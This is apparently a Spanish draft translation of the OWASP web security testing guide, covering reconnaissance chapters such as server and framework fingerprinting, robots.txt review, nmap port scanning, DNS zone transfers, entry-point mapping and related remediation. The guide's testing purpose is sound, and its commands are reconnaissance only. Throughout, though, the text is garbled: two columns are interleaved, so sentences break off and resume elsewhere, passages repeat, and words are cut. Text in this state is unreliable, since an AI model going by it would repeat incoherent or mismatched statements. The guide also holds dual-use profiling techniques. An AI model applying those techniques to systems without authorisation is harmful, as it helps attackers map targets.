httprecon - computec.ch Las herramientas en lnea se pueden utilizar si el evaluador quiere probar ms
sigilosamente y no desea conectarse directamente a la pgina web objetivo.
Netcraft - netcraft.com Un ejemplo de una herramienta en lnea que ofrece a menudo una gran
cantidad de informacin sobre servidores web objetivos es Netcraft. Con esta
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
45
Guia de pruebas 4.0 "Borrador"
herramienta podemos recuperar informacin acerca del sistema operativo, Proteja la capa de presentacin del servidor web detrs de un proxy inverso
servidor web utilizado, tiempo de actividad del servidor, propietario Netblock, endurecido.
historial de cambios relacionados con el servidor web y el sistema operativo.
A continuacin se muestra un ejemplo: Ofusque la capa de presentacin de los encabezados del servidor web.
Apache
IIS
Objetivos de la prueba
Se espera que el proyecto OWASP Unmaskme se convierta en otra
herramienta en lnea para dejar huellas digitales de cualquier sitio web con 1. Fuga de informacin de la ruta o rutas al directorio o carpeta de la aplicacin
una interpretacin global de todos los metadatos web extrados. La idea detrs web.
de este proyecto es que cualquier persona a cargo de un sitio web pueda
probar los metadatos que el sitio muestra al mundo y evaluar desde un punto 2. Crear la lista de directorios que deben ser evitados por las araas, robots o
de vista de seguridad. rastreadores.
robots.txt
Referencias
Libros Blancos Las araas, robots o rastreadores web recuperan una pgina web y luego,
recursivamente, atraviesan hipervnculos para recuperar otros contenidos web. Su
Saumil Shah: An Introduction to HTTP fingerprinting comportamiento aceptado est especificado por el protocolo de Exclusin de
Robots del archivo robots.txt en el directorio web principal [1]
www.net-square.com
Como ejemplo, el principio del archivo robots.txt de
http://www.google.com/robots.txt probado el 11 de agosto de 2013 se cita a
continuacin:
Anant Shrivastava: Web Application Finger Printing
anantshri.info
Remediacin
Disallow: /groups
Disallow: /images
cmlh$ curl -O http://www.google.com/robots.txt
Disallow: /catalogs
% Total % Received % Xferd Average Speed Time Time
Time Current
Disallow: /sdch
robots.txt in el directorio principal con wget o curl
Disallow: /groups
Disallow: /images
3. Sending Allow: URIs of www.google.com to web proxy i.e. <META>Etiquetas - con Burp
127.0.0.1:8080
/catalogs/about sent
Basado en las directivas, de no permitir (Disallow), listadas en el archivo robots.txt
/catalogs/p? sent en el directorio principal, la bsqueda normal de una expresin " <META
name="ROBOTS" dentro de cada pgina web inicia y el resultado se compara
/news/directory sent
al archivo robots.txt en el directorio principal.
...
Herramientas
Los profesionales en seguridad a veces reciben un conjunto de direcciones IP como
Buscador (Funcion de Ver Origen) un objetivo de pruebas. Es discutible que este escenario sea parecido a una relacin
de tipo prueba de penetracin, pero, en cualquier caso, se espera que dicha sesin
curl pondra a prueba todas las aplicaciones web accesibles a travs de este objetivo. El
problema es que la direccin IP aloja un servicio HTTP en el puerto 80, pero si un
wget evaluador debe acceder especificando la direccin IP (que es todo lo que sabe)
reportar "Ningn servidor web configurado en esta direccin" o un mensaje
rockspider[7] similar. Pero el sistema puede "ocultar" una serie de aplicaciones web, asociadas a
nombres simblicos, sin relacin del (DNS). Obviamente, el alcance del anlisis se
ve afectado profundamente si el evaluador prueba todas las aplicaciones o slo las
aplicaciones de las que est consciente.
Referencias
Libros Blancos
A veces, la especificacin de destino es ms rica. El evaluador puede recibir una
lista de direcciones IP y sus correspondientes nombres simblicos. Sin embargo,
esta lista podra transmitir informacin parcial, es decir, podra omitir algunos
[1] The Web Robots Pages - http://www.robotstxt.org/ nombres simblicos y el cliente podra ni siquiera estar consciente de aquello (esto
es ms probable que ocurra en las grandes organizaciones).
[2] Block and Remove Pages Using a robots.txt File -
https://support.google.com/webmasters/answer/156449
[3] (ISC)2 Blog: The Attack of the Spiders from the Clouds - Otros temas que afectan el alcance de la evaluacin estn representados por
http://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html aplicaciones web publicadas en URLs no evidentes (por ejemplo,
http://www.example.com/some-strange-URL), a las que no se hace referencia en
[4] Telstra customer database exposed - http://www.smh.com.au/it-pro/security- otros lugares. Esto puede suceder por error (debido a configuraciones incorrectas) o
it/telstra-customer-database-exposed-20111209-1on60.html intencionalmente (por ejemplo, interfaces administrativas no publicitadas).
Enumerar las aplicaciones que existen dentro del mbito en un servidor web evaluador sepa explcitamente cmo llegar a ellas, es decir, el evaluador sabe las
url1 y url2 url3. Generalmente no hay necesidad de publicar aplicaciones web de
esta manera, a menos que el propietario no desee que se encuentren accesibles de
una manera estndar y est dispuesto a informar a los usuarios sobre su ubicacin
Cmo probar exacta. Esto no quiere decir que estas aplicaciones son secretas, slo que su
existencia y localizacin no son anunciadas explcitamente.
Pruebas de Caja Negra
1. URL con bases diferentes No hay ninguna manera de comprobar totalmente la existencia de aplicaciones web
sin el nombre estndar. Al ser no estndar, no hay criterios establecidos o
El punto de entrada obvio de una aplicacin web es www.example.com, es decir, convenidos para la nomenclatura, sin embargo, hay una serie de tcnicas que puede
con esta nominacin abreviada pensamos que la aplicacin web se origina en utilizar el evaluador para obtener informacin adicional.
http://www.example.com/ (lo mismo se aplica para https). Sin embargo, a pesar de
que esta es la situacin ms comn, no hay nada que obligue a la aplicacin para
que empiece en "/".
En primer lugar, si el servidor web est mal configurado y permite navegar por el
directorio, es posible detectar estas aplicaciones. Los escneres de vulnerabilidad
pueden ayudar en este sentido.
Por ejemplo, el mismo nombre simblico puede ser asociado a tres aplicaciones
web tales como: http://www.example.com/url1 http://www.example.com/url2
http://www.example.com/url3
En segundo lugar, estas aplicaciones pueden estar referenciadas por otras pginas
En este caso, el enlace http://www.example.com/ no estara asociado con una web y hay la posibilidad de que hayan sido procesadas por un robot araa e
pgina significativa, y las tres aplicaciones estaran "ocultas", a menos que el indexadas por los motores de bsqueda web. Si los evaluadores sospechan de la
existencia de este tipo de aplicaciones "ocultas" en www.example.com lo podran De este ejemplo uno puede ver que:
buscar utilizando el operador del sitio web y examinar el resultado de una consulta
para "site: www.example.com". Entre los URLs devueltos podran haber algunos
apuntando a una aplicacin no tan obvia.
Hay un servidor de http Apache corriendo en el puerto 80.
Parece que hay un servidor https en el puerto 443 (pero esto debe ser confirmado,
Otra opcin es sondear URL que podran ser candidatos probables para por ejemplo, visitando https://192.168.1.100 con un navegador)
aplicaciones no publicadas. Por ejemplo, un correo web frontal puede ser accesible
desde la URL https://www.example.com/webmail, https://webmail.example.com/ o En el puerto 901hay una interfaz de web de Samba SWAT.
https://mail.example.com/. Lo mismo se aplica para interfaces administrativas, que
pueden ser publicadas en URL ocultas (por ejemplo, una interfaz administrativa El servicio en Puerto 1241 no es https, pero es el demonio Nessus enlazado al
Tomcat) y, sin embargo, no hacen referencia en ningn lugar. As que haciendo un SSL.
poco de bsqueda de estilo diccionario (o "adivinanza inteligente") podra arrojar
algunos resultados. Los escneres de vulnerabilidad pueden ayudar en este caso. El puerto 3690 ofrece un servicio no especificado (nmap devuelve su huella
digital - aqu ha sido omitida por claridad - junto a las instrucciones para su
incorporacin en la base de datos de huellas dactilares nmap, siempre y cuando
usted sepa qu servicio representa).
Enfoques para solucionar el tema 2 - puertos no estndar
Otro servicio no identificado en el puerto 8000. Esto posiblemente podra ser un
Es fcil comprobar la existencia de aplicaciones web en puertos no estndar. Un http, ya que no es raro encontrar servidores de http en este puerto. Vamos a
escner de puertos como nmap [2] es capaz de realizar el reconocimiento de examinar esta cuestin:
servicio mediante la opcin - sV e identificar los servicios http [s] en puertos
arbitrarios. Lo que se requiere es un anlisis completo de los 64k de espacio del
puerto TCP.
Puertos interesantes en 192.168.1.100:
(Los 65527 puertos escaneados, pero que no se muestran abajo, son los
Por ejemplo, el siguiente comando buscar, con un escaner de coneccin TCP,
que estn en estado cerrado)
todos los puertos abiertos en la IP 192.168.1.100 y tratar de determinar qu
servicios estn atados a ellos (slo se muestran los modificadores esenciales
PORT STATE SERVICE VERSION
nmap ofrece un amplio conjunto de opciones, cuya discusin est fuera de
alcance): 22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)
populares o interfaces web que, de lo contrario, podran pasar desapercibidas (por www.example.com y el no tan obvio helpdesk.example.com y
ejemplo, una interfaz de administracin de Tomcat). webmail.example.com (y probablemente otros). Revise todos los nombres
devueltos por la transferencia de zona y considere a todos aquellos que se
relacionan con el objetivo a ser evaluado.
Hay una serie de tcnicas que pueden utilizarse para identificar nombres DNS Tratando de solicitar una transferencia de zona para owasp.org desde uno de los
asociados a una direccin IP determinada x.y.z.t. nombres de servidor:
Servicios de IP inversa
Los servicios de IP inversa son similares a las consultas inversas de DNS, con la
Una transferencia de zona puede solicitarse ahora a los nombres de los servidores diferencia que los evaluadores consultan una aplicacin web en lugar de un nombre
para el dominio example.com. Si el evaluador es afortunado, recibir una lista de de servidor. Hay una cantidad de servicios disponibles. Ya que tienden a devolver
las entradas DNS de este dominio. Esto incluir el obvio resultados parciales (y a menudo diferentes), es mejor utilizar varios servicios para
obtener un anlisis ms exhaustivo.
(syntax: http://whois.webhosting.info/x.x.x.x)
Googlear
Herramientas
Herramientas de bsqueda DNS como nslookup, dig y similares.
Nmap - insecure.org
...
Nessus Vulnerability Scanner - nessus.org
Nikto - cirt.net
<div class=table2>
<!-- uery: SELECT id, name FROM app.users WHERE active=1 -->
Revise los comentarios y metadatos de la pgina web para entender mejor la loose.dtd -- loose DTD
aplicacin y encontrar cualquier fuga de informacin.
frameset.dtd -- DTD for frameset documents
Cmo probar Los comentarios HTML son utilizados por los desarrolladores para
incluir informacin sobre la depuracin de la aplicacin. A veces se olvidan de los Algunas Metaetiquetas no proveen vectores de ataque activos, sino ms bien
comentarios y se quedan en la produccin. Los evaluadores deben busquar permiten a un atacante hacer un perfil de la aplicacin
comentarios en HTML que comienzan con "".
Y
Herramientas
Wget
<META http-equiv=Cache-Control content=no-cache>
Browser view source function
Eyeballs
Resultar en
Curl
Cache-Control: no-cache
Referencias
Pruebe para ver si esto puede utilizarse para llevar a cabo ataques de inyeccin (por
ejemplo ataques CRLF). Tambin puede ayudar a determinar el nivel de fuga de Libros Blancos
datos a travs de la cach del navegador.
[1] HTML version 4.01: w3.org
Una Meta etiqueta comn (pero no obediente en WCAG) es la actualizacin.
[2] XHTML (for small devices): w3.org
<META http-equiv=Refresh
[3] HTML version 5 : w3.org
content=15;URL=https://www.owasp.org/index.html>
GMT>
<META name=keywords lang=en-us content=OWASP, security, Enumerar la aplicacin y su superficie de ataque es un precursor clave antes que
sunshine, lollipops> cualquier prueba de fondo puede llevarse a cabo, ya que
GMT>
Entender cmo se forman las solicitudes y las respuestas tpicas de la aplicacin. Una vez que ha mapeado cada rea de la aplicacin, puede ir a travs de la
aplicacin y probar cada una de las reas que ha identificado y tomar notas de lo
que funcion y lo que no funcion. El resto de esta gua identificar cmo se
prueba cada una de estas reas de inters, pero esta seccin debe realizarse antes
Cmo probar de que la prueba real pueda comenzar.
Note que para ver los parmetros enviados en una peticin POST, el Solicitudes:
evaluador tendr que utilizar una herramienta como un interceptador de proxy
(por ejemplo, el OWASP: Zed Attack Proxy (ZAP)) o un complemento del
navegador. Dentro de la solicitud POST, el evaluador debe tambin poner
atencin especial a cualquier campo oculto que se est pasando a la Identificar dnde se utilizan peticiones GET y POST.
aplicacin, ya que estos generalmente contienen informacin confidencial,
como informacin sobre el estado, cantidad de artculos o el precio de los Identificar todos los parmetros en las peticiones POST (estos son en el cuerpo
artculos que el desarrollador nunca quiso que usted pudiera ver o cambiar. de la solicitud)
Identifique todos los parmetros utilizados en una peticin GET (es decir, la
Adicionalmente, en este punto, el evaluador normalmente atrapa cada URL), en particular la cadena de consulta (generalmente despus de un signo ?).
solicitud y respuesta para que l pueda ver exactamente cada encabezado,
parmetro, etc., que pasa a la aplicacin y lo que devuelve. Esto puede ser Identifique todos los parmetros de la cadena de consulta. Estos generalmente
bastante tedioso a veces, especialmente para sitios grandes e interactivos estn en pares, como foo = bar. Tambin tenga en cuenta que muchos de los
bancaria). Sin embargo, la experiencia le
(piense en una aplicacin parmetros pueden estar en una cadena de consulta separados por un &, ~,:, o
cualquier otro carcter especial o codificacin.
dir al evaluador qu es lo que debe buscar y el tiempo
utilizado durante esta fase puede reducirse significativamente.
Respuestas: EJEMPLO 2
En este ejemplo se muestra una solicitud POST que debera conectarle a una
aplicacin.
Identifique dnde se establecen nuevas cookies (encabezado Set-Cookie),
modifican o aaden.
POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?-
Identifique dnde hay redireccionamientos (estado de cdigo 3xx HTTP)
cdigos de estado 400, en especial 403 Prohibido (Forbiden) y 500 errores de service=login
servidor interno (internal server errors) durante las respuestas normales (es
Host: x.x.x.x
decir, sin modificar solicitudes).
Cookie:
Tambin note dnde se utiliza cualquier encabezado interesante. Por ejemplo,
SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIH
"Server: BIG-IP" indica que el sitio tiene su carga equilibrada. Aunque si un
ByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMTIz
sitio tiene su carga equilibrada y un servidor est configurado incorrectamente,
NA==
entonces el evaluador podra tener que hacer varias solicitudes para acceder al
servidor vulnerable, dependiendo del tipo de equilibrio de carga usado.
CustomCookie=00my00trusted00ip00is00x.x.x.x00
Result Expected:
EJEMPLO 1
En este ejemplo el evaluador debe anotar todos los parmetros como lo hizo
Este ejemplo muestra una solicitud GET que debera adquirir un elemento de antes, pero observe que los parmetros se pasan en el cuerpo del mensaje y no en
una aplicacin de compras en lnea. la URL. Adems, tenga en cuenta que hay una cookie personalizada que est
siendo utilizada.
GET
https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&ITEM= Pruebas de Caja Gris
z101a&PRICE=62.50&IP=x.x.x.x
Probar en busca de puntos de entrada de la aplicacin a travs de una
Host: x.x.x.x metodologa de Caja Gris consistira en todo lo ya identificado anteriormente
con una adicin. En los casos donde hay fuentes externas de las que la aplicacin
Cookie: recibe datos y los procesa (tales como trampas SNMP, mensajes syslog,
SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIG
mensajes SMTP o SOAP de otros servidores) una reunin con los
ZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy
desarrolladores de la aplicacin podra identificar las funciones que aceptan o
esperan el ingreso de datos del usuario y cmo estn formateados. Por ejemplo,
el desarrollador podra ayudar a entender cmo formular una peticin SOAP
correcta que aceptara la aplicacin y dnde reside el servicio web (si el servicio
web o cualquier otra funcin no ha sido identificada durante las pruebas de Caja
Negra).
Result Expected:
Aqu el evaluador debe anotar todos los parmetros de la peticin tales como
CUSTOMERID, ITEM, PRICE, IP y las cookies (que podran ser slo Herramientas
parmetros codificados o utilizadas para el estado de sesin).
Proxy de intercepcin:
OWASP: Zed Attack Proxy (ZAP) Hay varias maneras de acercarse a las pruebas y a la medicin de la cobertura del
cdigo:
OWASP: WebScarab
Burp Suite
Ruta - Pruebe cada uno de los caminos a travs de una aplicacin que incluye
CAT combinatoria y anlisis de valores lmite para cada ruta de decisin. Aunque este
enfoque ofrece rigor, la cantidad de rutas comprobables crece exponencialmente
con cada rama de decisin.
Accesorios de motores de bsqueda: Flujo de Datos (o anlisis de la mancha) - prueba la asignacin de variables a
travs de la interaccin externa (normalmente los usuarios). Se centra en crear
TamperIE for Internet Explorer mapas del flujo, transformacin y uso de datos a travs de una aplicacin.
Tamper Data for Firefox Carrera - prueba varias instancias simultneas de la aplicacin manipulando los
mismos datos.
Referencias
El acuerdo en cuanto a qu mtodo se utiliza y en qu medida se utiliza cada
Libros Blancos mtodo debe ser negociado con el dueo de la aplicacin. Enfoques ms simples
podran tambin adoptarse, incluyendo el preguntarle al dueo de la aplicacin
las funciones o secciones del cdigo por las que estn particularmente
preocupados y cmo llegar a esos segmentos de cdigo.
RFC 2616 Hypertext Transfer Protocol HTTP 1.1 -
tools.ietf.org
Pruebas de Caja Negra
Ejemplo
Cmo probar
Spidering automtico
En las pruebas de Caja Negra es extremadamente difcil probar todo el cdigo
base. No slo porque el evaluador no tiene ninguna vista de las rutas de cdigo a Los robots araa automticos son una herramienta utilizada para descubrir
travs de la aplicacin, e incluso si lo hicieran, probar todas las rutas del cdigo automticamente nuevos recursos (URL) en un sitio web en
tomara mucho tiempo. Una manera de reconciliar esto es documentar qu rutas
del cdigo fueron descubiertas y probadas.
particular. Comienza con una lista de URL a visitar, llamadas semillas, que [1] en.wikipedia.org
dependen de cmo se inicia el robot araa. Si bien hay un montn de
herramientas de Spidering, en el ejemplo siguiente se utiliza el Zed Attack Proxy
(ZAP):
Sitio de Robot Araa - la lista de semillas contiene todas las URL existentes ya
encontradas en el sitio seleccionado.
prueba. Dicha informacin puede ser derivada de un cuidadoso anlisis
Subrbol de Robot araa - la lista de semillas contiene todas las URL existentes
ya encontradas y presentes en el subrbol del nodo seleccionado.
de ciertos lugares comunes. La mayora de los frameworks web tienen varios
URL de robot Araa - la lista de semillas contiene slo la URL correspondiente
marcadores en esos lugares, lo que ayuda a un atacante a detectarlos. Esto es
al nodo seleccionado (en el rbol de sitio).
bsicamente lo que todas las herramientas automticas hacen: buscar un
marcador desde una ubicacin predefinida y luego compararlo con la base de
Vista completa de Robot Araa - la lista de semillas contiene todas las URL
datos de firmas conocidas. Para mayor precisin se utilizan, generalmente,
que el usuario ha seleccionado como 'A la vista'.
varios marcadores.
Herramientas
[*] Tenga en cuenta que este artculo no hace ninguna diferenciacin entre
Frameworks de aplicacin Web (WAF) y sistemas de gestin de contenidos
Zed Attack Proxy (ZAP)
(CMS). Esto se ha hecho para que sea conveniente marcar con huellas
digitales ambos casos en un solo captulo. Adems, se hace referencia a ambas
Spreadsheet software
categoras como frameworks web.
Diagramming software
Objetivos de la prueba
Referencias
El tipo de framework web usado, asi como tener una mejor comprensin de la
metodologa de pruebas de seguridad.
Libros Blancos
sitio web pueda ofuscar los encabezados HTTP (ver un ejemplo en el captulo
#Remediacin).
Cmo probar
Encabezados HTTP
Cookies
HTTP/1.1 200 OK
Cdigos fuente HTML
Server: nginx/1.0.14
Carpetas y documentos especficos
Date: Sat, 07 Sep 2013 08:19:15 GMT
Content-Type: text/html;charset=ISO-8859-1
Encabezados HTTP
Connection: close
La forma bsica de identificacin de un framework web es mirar el campo X-
Powered-By en el encabezado de respuesta HTTP. Muchas herramientas Vary: Accept-Encoding
pueden utilizarse para marcar una huella digital. La ms simple es la utilidad
netcat. X-Powered-By: Blood, sweat and tears
HTTP/1.1 200 OK
Server: nginx/1.0.14
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Vary: Accept-Encoding
Server: nginx/1.4.1
Cookies
Sin embargo, estos cambios son menos comunes que cambiar el encabezado
Otra manera similar pero ms confiable de determinar el framework web
X-Powered-By, por lo que este enfoque puede ser considerado como ms
actual es determinar el framework de cookies especficas.
confiable.
Considere la siguiente solicitud HTTP:
Host: defcon-moscow.org Esta tcnica se basa en la bsqueda de ciertos patrones en el cdigo fuente de
la pgina HTML. A menudo se puede encontrar una gran cantidad de
User-Agent: Mozilla75.0 |Macintosh; Intel Mac OS X 10.7; rv: informacin que ayuda a un evaluador a reconocer un framework especfico
22. 0) Gecko/20100101 Firefox/22 . 0 de la web. Uno de los marcadores comunes son comentarios HTML que
conducen directamente a la divulgacin del framework. Ms a menudo, ciertas
Accept: text/html, application/xhtml + xml, application/xml; q=0.9,
*/*; q=0 , 8 rutas especficas del framework pueden encontrarse, es decir, frameworks css
y/o carpetas js especficos. Finalmente, las variables de secuencia de
Accept - Language: ru-ru, ru; q=0.8, en-us; q=0.5 , en; q=0 . 3 comandos (script) especficas podran tambin apuntar a un cierto framework.
Con mayor frecuencia, dicha informacin se coloca entre etiquetas Actualmente, es una de las mejores herramientas de huellas digitales en el
<head></head> en etiquetas <meta> o al final de la pgina. mercado. Incluidas por defecto en construcciones Kali Linux. Idioma: Ruby
Matches para toma de huellas digitales se hacen con:
reconocimiento de URL
BlindElephant
Archivos y carpetas especficos
Los archivos y carpetas especficos son diferentes en cada framework Pgina Web: community.qualys.com
especfico. Se recomienda instalar el correspondiente framework durante las
pruebas de penetracin para tener mejor entendimiento de qu infraestructura Esta magnfica herramienta funciona mediante el principio de
se presenta y qu archivos pueden quedar en el servidor. Sin embargo, ya checksum (suma de comprobacin) de archivos estticos
existen varias listas de archivo buenas y un buen ejemplo es FuzzDB listas de
basados en la diferencia de la versin que proporciona as una
archivos y carpetas predecibles (code.google.com).
alta calidad de huellas digitales. Idioma:Python
Herramientas
Muestra de respuesta de una huella digital exitosa:
Una lista de herramientas generales y muy conocidas se presenta a
continuacin. Tambin hay un sinfn de otras utilidades, as como
herramientas de huellas digitales basadas en frameworks.
WhatWeb:
Loaded /Library/Python/2.7/site-
packages/blindelephant/dbs/drupal.pkl with 145 versions, 478
differentiating paths, and 434 version groups.
cargar la pgina en el navegador. Funciona totalmente a nivel de navegador y
Starting BlindElephant fingerprint for version of drupal at da resultados en forma de iconos. Aunque a veces tiene falsos positivos, esto
http://my_target es muy til para tener una nocin de qu tecnologas fueron utilizadas para
construir el sitio web de destino inmediatamente despus de navegar por una
pgina.
Hit http://my_target/CHANGELOG.txt
Hit http://my_target/INSTALL.txt
Hit http://my_target/misc/drupal.js
Hit http://my_target/MAINTAINERS.txt
Referencias
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9, Saumil Shah: An Introduction to HTTP fingerprinting -
7.10, 7.11, 7.12, 7.13, 7.14
net-square.com
...
Remediacin
Se recomienda reemplazar los nombres de las cookies al hacer cambios en los Sin embargo, estas no son las nicas maneras de restringir el acceso. Con el
archivos de configuracin correspondientes. fin de automatizar este proceso, existen ciertos accesorios (plugins)
especficos del framework. Un ejemplo para WordPress es StealthLogin:
wordpress.org.
Cdigo fuente HTML
Guas generales:
Guas generales:
Asegrese de que no hay marcadores visuales que revelen el framework. El propsito de este enfoque es vencer los escaneos basados en checksum (la
suma de comprobacin) y no permitirles revelar archivos por sus hashes. En
uite todos los comentarios innecesarios (derechos de autor, informacin de general, existen dos enfoques en la gestin de checksum:
errores, comentarios especficos del framework).
Utilice los archivos css o js propios de la empresa y no los almacene Modificar el contenido - incluso una ligera modificacin resulta en una suma
de hash completamente diferente, as que aadir un solo byte en el final del
archivo no debe ser un gran problema.
Guias generales:
Resumen
GET / HTTP/1.1
No hay nada nuevo bajo el sol, y casi cada aplicacin web que se puede
pensar en desarrollar ya ha sido desarrollada. Con la gran cantidad de User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0)
proyectos de software libre y de cdigo abierto que son desarrollados y Gecko/20100101 Firefox/31.0
desplegados activamente alrededor del mundo, es muy probable que una
prueba de seguridad enfrentar un sitio objetivo que es total o parcialmente Accept:
dependiente de una de estas aplicaciones muy conocidas (por ejemplo, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Wordpress, phpBB, Mediawiki, etc.). Conocer los componentes de las
Accept-Language: en-US,en;q=0.5
aplicaciones web que se estn probando ayuda significativamente en el
proceso de prueba y se reduce drsticamente
Cookie: wp-settings-time-1=1406093286; wp-settings-time-
2=1405988284
el esfuerzo requerido durante la prueba. Estas aplicaciones web conocidas
tienen encabezados HTML, cookies y estructuras de directorios que se pueden
DNT: 1
enumerar para identificar la aplicacin.
Connection: keep-alive
Host: blog.owasp.org
Objetivos de la prueba
Podemos ver que para algunas carpetas de WordPress-especficas (por Identificadores de aplicacin comn
ejemplo, WP-includes, /wp-admin / y wp-content/) las respuestas HTTP son
403 (prohibido), 302 (encontrado, redireccin a wp-login.php) y 200 (OK), Cookies
respectivamente. Este es un buen indicador de que el objetivo es alimentado
por WordPress. Es posible usar dirbust en diferentes carpetas de aplicaciones
plugin y sus versiones. En la imagen siguiente puede ver un archivo
CHANGELOG, tpico de un plugin Drupal, que proporciona informacin
sobre la aplicacin que est siendo usada y revela una versin del plugin
vulnerable.
Expresiones regulares
MD5 hashes
Reconocimiento de URL
BlindElephant
WhatWeb:
Loaded /Library/Python/2.7/site-packages/blindelephant/dbs/drupal.pkl
with 145 versions, 478 differentiating paths, and 434 version groups.
Hit http://my_target/CHANGELOG.txt
Hit http://my_target/INSTALL.txt
Hit http://my_target/misc/drupal.js
File produced no match. Error: Retrieved file doesnt match known Libros Blancos
fingerprint. 36b740941a19912f3fdbfcca7caa08ca
Possible versions based on result: 7.2, 7.3, 7.4, 7.5, 7.6, 7.7, 7.8, 7.9,
7.10, 7.11, 7.12, 7.13, 7.14
Anant Shrivastava : Web Application Finger Printing - anantshri.info
...
Remediacin
Fingerprinting resulted in:
El consejo general es usar varias de las herramientas descritas anteriormente y
verificar los registros para entender exactamente lo que ayuda a un atacante a
Wappalyzer
revelar el framework web. Mediante la realizacin de mltiples anlisis
Pgina web: http://wappalyzer.com despus de que se han hecho cambios para ocultar las rutas del framework, es
posible alcanzar un mejor nivel de seguridad y asegurarse de que el
Wapplyzer es un plugin de Firefox Chrome. Slo funciona en coincidencias framework no puede ser detectado por anlisis automticos. A continuacin se
de expresiones regulares y no necesita otra cosa que cargar la pgina en el presentan algunas recomendaciones especficas, de acuerdo a la ubicacin del
navegador. Funciona totalmente a nivel de marcador del framework y algunos enfoques adicionales interesantes.
navegador y da resultados en forma de iconos. Aunque a veces tiene falsos Encabezados HTTP
positivos, esto es muy til para tener una nocin de qu tecnologas fueron
Compruebe la configuracin y desactive u ofusque todos los encabezados Restrinja el acceso a otros archivos para lograr respuestas 404 al acceder a
HTTP que divulgan informacin de las tecnologas utilizadas. Aqu hay un ellos desde fuera. Esto puede hacerse, por ejemplo, modificando el archivo
artculo interesante sobre ofuscacin de encabezados HTTP con Netscaler: htaccess y agregando RewriteCond o RewriteRule all. A continuacin se
grahamhosking.blogspot.ru presenta un ejemplo de tal restriccin para dos carpetas comunes de
WordPress.
Sin embargo, estas no son las nicas maneras de restringir el acceso. Con el
fin de automatizar este proceso, existen ciertos accesorios (plugins)
especficos del framework. Un ejemplo para WordPress es StealthLogin:
Cdigo fuente HTML
wordpress.org.
Compruebe manualmente el contenido del cdigo HTML y elimine todo lo
que explcitamente seala el framework.
Enfoques adicionales
Asegrese de que no hay marcadores visuales que revelen el framework. El propsito de este enfoque es vencer a los escaneos basados en checksum (la
suma de comprobacin) y no permitirles revelar archivos por sus hashes. En
uite todos los comentarios innecesarios (derechos de autor, informacin de general, existen dos enfoques en la gestin de checksum:
errores, comentarios especficos del framework).
Archivos y carpetas especificas atacante. Pero tenga cuidado de no sobreescribir las carpetas
y archivos existentes o romper el framework actual!.
Guias generales:
Elimine del servidor todos los archivos innecesarios o sin uso. Esto implica Cree un mapa de la arquitectura de la
archivos de texto que revelen informacin sobre las versiones y la instalacin
tambin.
aplicacin (OTG-INFO-010)
Resumen
La complejidad de la infraestructura de servidores web interconectados y mediante otras pruebas y deriva los diferentes elementos, cuestiona esta suposicin y
heterogneos puede incluir cientos de aplicaciones web y hace de la gestin de amplia el mapa de arquitectura. El evaluador comenzar haciendo preguntas simples
configuracin y de la revisin un paso fundamental en la prueba e como: "existe un sistema firewalling que protege al servidor web?". Esta pregunta
implementacin de cada aplicacin. De hecho, se necesita slo una se responder a partir de los resultados del anlisis de red orientada hacia el servidor
vulnerabilidad para socavar la seguridad de toda la infraestructura, e incluso web y el anlisis de si los puertos de red del servidor web se estn filtrando en el
problemas pequeos y sin importancia aparente pueden convertirse en serios lmite de la red (no se recbe ninguna respuesta o se reciben mensajes de ICMP
riesgos para otra aplicacin en el mismo servidor. inalcanzables) o si el servidor est conectado directamente a Internet (es decir,
devuelve paquetes RST para todos los puertos de no audio). Este anlisis puede ser
mejorado para determinar el tipo de firewall utilizado, basado en pruebas de
paquetes de red. Es el firewall una aplicacin de estado completo o es un filtro de
Para abordar estos problemas, es de suma importancia llevar a cabo lista de acceso en un ruteador? Cmo est configurado? Puede evitarse?
una profunda revisin de la configuracin y problemas de seguridad Detectar a un proxy inverso delante de un servidor web debe hacerse por el anlisis
conocidos. Antes de realizar un examen a fondo es necesario crear un mapa de del banner del servidor web, que podra revelar directamente la existencia de un
la red y de la arquitectura de la aplicacin. Los diferentes elementos que proxy inverso (por ejemplo, si se devuelve 'WebSEAL'[1]). Tambin puede ser
conforman la infraestructura necesitan ser determinados para entender cmo determinado mediante la obtencin de las respuestas dadas por el servidor web a las
interactan con una aplicacin web y cmo ellos afectan a la seguridad. peticiones y comparndolas con las respuestas esperadas. Por ejemplo, algunos
proxys inversos actan como "sistemas de prevencin de intrusiones" (o escudos
web) bloqueando ataques conocidos dirigidos al servidor web. Si se sabe que el
servidor web responde con un mensaje 404 a una peticin que se dirige a una pgina
que no est disponible y devuelve un mensaje de error diferente para algunos ataques
web comunes como los realizados por escneres CGI, podra ser una indicacin de
Cmo probar que existe un proxy inverso (o un firewall de nivel de aplicacin) que est filtrando
las solicitudes y devuelve una pgina de error diferente a lo que se espera. Otro
Cree un mapa de la arquitectura de la aplicacin ejemplo: Si el servidor web devuelve un
Se debe crear el mapa de la arquitectura de la aplicacin mediante algunas conjunto de mtodos HTTP disponibles (incluyendo TRACE) pero los mtodos
pruebas para determinar qu componentes se usan para construir la aplicacin esperados devuelven errores, entonces es probable que haya un bloqueo entre ellos.
web. En instalaciones pequeas, una sencilla aplicacin basada en CGI podra
utilizar un solo servidor para que corra el servidor web que ejecuta la
aplicacin C, Perl o Shell CGIs y quizs tambin el mecanismo de
autenticacin. En algunos casos, incluso el sistema de proteccin se entrega a s mismo:
Los proxys inversos tambin se pueden presentar como proxy-cach para acelerar [1] WebSEAL, tambin conocido como Tivoli Authentication Manager, es un
el rendimiento de servidores de aplicaciones de acceso restringido (back-end). La proxy inverso de IBM que es parte del framework de Tivoli.
deteccin de estos proxies puede hacerse a base del encabezado del servidor.
Tambin pueden detectarse tomando el tiempo de las peticiones que deben ser [2] Hay algunas herramientas de administracin basadas en GUI para Apache
